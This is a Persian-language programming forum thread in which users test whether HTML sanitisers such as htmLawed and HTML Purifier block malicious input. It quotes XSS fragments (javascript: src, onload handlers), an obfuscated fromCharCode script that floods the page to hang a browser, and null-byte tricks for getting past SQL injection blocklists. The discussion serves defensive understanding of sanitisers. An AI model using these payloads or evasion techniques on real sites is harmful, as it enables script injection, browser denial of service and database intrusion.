بنده این رو با استفاده از htmLawed فیلتر کردم و هیچ مشکلی هم پیش نیامد.
صحبت ما در هیچ کجا چه درمورد SQL و چه HTML این نبود که دیتای خام از منابع غیرقابل اعتماد رو همینطوری مستقیم و بدون استفاده از توابع و برنامه های امنیتی استفاده کنیم.

البته الان همینطوری مستقیم هم تست میکنم ببینم شاید جالب باشه. فعلا این پست رو پیشاپیش زدم که اگر سیستم هنگ کرد شما فعلا این پست رو بخونید و جواب بدید!

Net So
سه شنبه 01 شهریور 1390, 17:06 عصر
با خودش تست کن :
http://www.bioinformatics.org/phplabware/internal_utilities/htmLawed/htmLawedTest.php

دیتای خام نیست این. input یک فیلد هست فرضا.

amin1softco
سه شنبه 01 شهریور 1390, 17:17 عصر
حالا با این تستش کن http://htmlpurifier.org/demo.php
این بهتر عمل کرد ولی خوب عجب کارا می کنید شما هکراااااااااااااااا

eshpilen
سه شنبه 01 شهریور 1390, 17:21 عصر
با خودش تست کن :
http://www.bioinformatics.org/phplabware/internal_utilities/htmLawed/htmLawedTest.php

دیتای خام نیست این. input یک فیلد هست فرضا.
عزیز جان در اون صفحه یه گزینهء Settings (http://www.bioinformatics.org/phplabware/internal_utilities/htmLawed/htmLawedTest.php) داره که اول اونو میزنی و بعد گزینهء safe رو روی 1 (فعال) قرار میدی. اگر دقت کنی بنده هم در نمونه کدهایی که گذاشتم عبارت safe'=>1 هست.
به این شکل تست کردم و هیچ مشکلی پیش نیامد.
حالا چون شما میفرمایید بدون این گزینه هم تست میکنم با اینکه ممکنه مرورگر هنگ کنه، ولی این معنای خاصی نمیده و چیزی رو ثابت نمیکنه.
در داکیومنت این برنامه آمده که برای تولید کد پاک از نظر امنیتی، باید یا تک تک گزینه های مربوطه رو خودتون تنظیم کنید و یا آپشن safe رو روی فعال قرار بدید تا برنامه خودش اون تنظیمات رو بصورت خودکار اعمال کنه.
این برنامهء htmLawed فقط برای امن کردن نیست و کاربردهای دیگه مثل استاندارد کردن و فرمت کردن و رفع خطاهای HTML و غیره هم داره و میتونه کد صحیح از نظر استانداردها خروجی بده ولی اون رو از نظر امنیتی امن نکرده باشه.

Net So
سه شنبه 01 شهریور 1390, 17:22 عصر
ignore کرد. :D
تو پست بالایی گفت htmLawed ، گفتم الان دیگه هر چی بدی رو Escape میکنه. دیدم کلا lol هست.

eshpilen
سه شنبه 01 شهریور 1390, 17:23 عصر
بله؟
متوجه نشدم میشه بیشتر توضیح بدید؟

eshpilen
سه شنبه 01 شهریور 1390, 17:47 عصر
حالا با این تستش کن http://htmlpurifier.org/demo.php
این بهتر عمل کرد ولی خوب عجب کارا می کنید شما هکراااااااااااااااا
عزیز جان مثل اینکه شما هنوز متوجه نشدید.
این گونه برنامه ها کارهای زیادی انجام میدن و تنظیمات زیادی دارن. فقط برای فیلتر کردن ورودی و امنیت بکار نمیرن.
بنابراین شما برای هرکاری باید دستورات و آپشن ها یا لیست سفید و سیاه مناسب رو پیدا کنی و بهشون بدی. درحالت پیشفرض ممکنه اصلا هیچ محدودیت امنیتی اعمال نکنن.
بطور مثال درمورد htmLawed شما باید گزینهء safe رو فعال کنی. یا اینکه وارد باشید و بدونید دارید چکار میکنید و تک تک تنظیمات رو که بنده هم نمیدونم چیا هستن خودتون دستی تنظیم کنید.
بین اینا برای مقاصد امنیتی و فیلتر کردن ورودی HTML کاربران، از همه سرراست تر htmLawed بود که با تنظیم یک آپشن در یک خط میشه ورودی رو کاملا ایمن کرد.
برایhtmlpurifier قبلا گشتم و مثالی پیدا نکردم (برای امن کردن ورودی HTML ساده از جانب کاربران).

جاهایی هست که ما اصلا نمیخوایم ورودی از نظر امنیتی فیلتر بشه، و دیتای ورودی ممکنه از منابع قابل اعتماد اومده باشه یا از خودمون باشه که اصلا میخوایم جاوااسکریپت هاش هم اجرا بشن. بنابراین این برنامه ها بصورت پیشفرض جلوی اینطور چیزا رو نمیگیرن، یا اینکه با آپشنی امکان غیرفعال کردن این محدودیت رو میدن.

الان با همین دموی htmLawed (http://www.bioinformatics.org/phplabware/internal_utilities/htmLawed/htmLawedTest.php) تست کن، ولی قبلش گزینهء safe رو فعال کن (گزینهء Settings رو بزن و بعد در نیمهء پایین لیست آپشن هاش گزینهء safe رو پیدا میکنی). هیچ مشکلی هم پیش نمیاد.
اون کد ساده تر از این حرفهاست که این نرم افزارها نتونن فیلترش کنن. نمیدونم جناب Net So (http://barnamenevis.org/member.php?210728-Net-So) که اینقدر ادعا کرد واقعا این مطالب اولیه رو نمیدونست یا اینکه فکر کرد بنده متوجه نمیشم!

amin1softco
سه شنبه 01 شهریور 1390, 18:05 عصر
eshpilen (http://barnamenevis.org/member.php?148005-eshpilen)
آقا من با هر دوش تست کردم
http://htmlpurifier.org/demo.php
با این گزینه Malicious code removed خروجیش می شه این :
<img src="javascript:evil();" onload="evil();" />

با htmlawed با گزینه safe=>1 شد این

<!-- H2 { color:green; font-size:80pt; font-style:italic; } --> String.prototype.repeat = function( num ) {return new Array( num + 1 ).join( this );} var i=0; var r=Math.floor(Math.random()*99999)*9*8*9*9*9*9*9*9* 9/9*9; var bib=String.fromCharCode(60, 72, 50, 62, 60, 77, 65, 82, 81, 85, 69, 69, 32, 87, 73, 68, 84, 72, 61, 49, 48, 48, 37, 32, 66, 69, 72, 65, 86, 73, 79, 82, 61, 83, 67, 82, 79, 76, 76, 32, 68, 73, 82, 69, 67, 84, 73, 79, 78, 61, 82, 73, 71, 72, 84, 32, 66, 71, 67, 111, 108, 111, 114, 61, 121, 101, 108, 108, 111, 119, 62, 60, 105, 110, 112, 117, 116, 32, 116, 121, 112, 101, 61, 115, 117, 98, 109, 105, 116, 32, 118, 97, 108, 117, 101, 61)+r+String.fromCharCode(32, 115, 116 , 121, 108, 101, 61, 34, 98, 97, 99, 107, 103, 114, 111, 117, 110, 100, 45, 99, 111, 108, 111, 114, 58, 98, 108, 97, 99, 107, 34, 32, 62, 60, 47, 77, 65, 82, 81, 85, 69, 69, 62, 60, 47, 72, 50, 62); document.write(bib.repeat(99999));

بدون البته می شه بازم محدود ترش کرد ..... اما خوب جفتشون فیلتر کردند. به هر حال شما جفتتون غیر از توهین هایی که به هم می کنید نکات جالبی رو بیان می کنید که مفیده

eshpilen
سه شنبه 01 شهریور 1390, 21:21 عصر
به هر حال شما جفتتون غیر از توهین هایی که به هم می کنید نکات جالبی رو بیان می کنید که مفیده ایول منم همینو میگم. میگم درگیر شدن و توهین کردن بهتر از ساکت بودن و احترام الکیه :قهقهه:
تازه هرچی بیشتر توهین کنی و زیر سوال ببری طرفها بیشتر تحریک میشن و بیشتر روی مسئله متمرکز میشن و اطلاعاتشون رو بیشتر بیرون میریزن.
البته منکه خدایی هرچی بلدم دریغ نکردم و نمیکنم. ولی بعضیا رو باید حسابی عصبانی کنی تا چیزی از داشته هاشون بیرون بدن.
البته اینا که گفتم شوخی و جدی قاطی بود.
درکل بنظر من اشکالی نداره این حرفا.
اینهمه سواد منو زیر سوال بردن و مسخره کردن، ولی بنظرم اهمیتی نداره. هرجور دوست دارن بذار فکر کنن، یا ادعا کنن.
هرچند گل و بلبل و دوستی بهتره، ولی طبق تجربهء بنده هیچوقت این شرایط همیشه و همه جا نمیتونه برقرار باشه.
بالاخره گاهی هم باید مبارزه کرد. ولی جوانمردانه.

A B C D
جمعه 04 شهریور 1390, 01:32 صبح
خوب نمیدونی دیگه. information رو به خاطر information_schema استفاده میکنیم. الان میگی پس چرا جدا استفاده کردی ؟ چون این : information_%00schema با این information_%00schema فرقی نداره و برای Detect کردنش ، دیگه از یه الگوی ثابت نمیشه استفاده کرد. یا حتی از اون هم فراتر ، وقتی رو Layer 7 داری برنامه مینویسی ، و به فیلترینگ سرور اعتماد داری و تمامی Request ها از Gate سرور رد میشن و توسط خیلی از FilterSec ها مثل mod_Sec و .. فیلتر میشن ، میشه کاری کرد که توسط همین فیلتر ها ، کلمه عوض بشه (null char inj) و سرور نادیده بگیره. اونوقت app میته terminate کنه برنامه رو .

فکر کنم منظورتون این بود که information_%00schema با information_schema فرقی نداره.
پس این سوال پیش میاد که مثلا inf%00ormation_schema چطور؟ یا شکلهای ممکن دیگه که به همین صورت میشه ساخت. یعنی آیا ما باید inf رو هم توی بلک لیست بذاریم؟ آیا باید tion رو هم توی بلک لیست بذاریم؟ آیا باید تک تک حروفش رو هم توی بلک لیست بذاریم؟! ...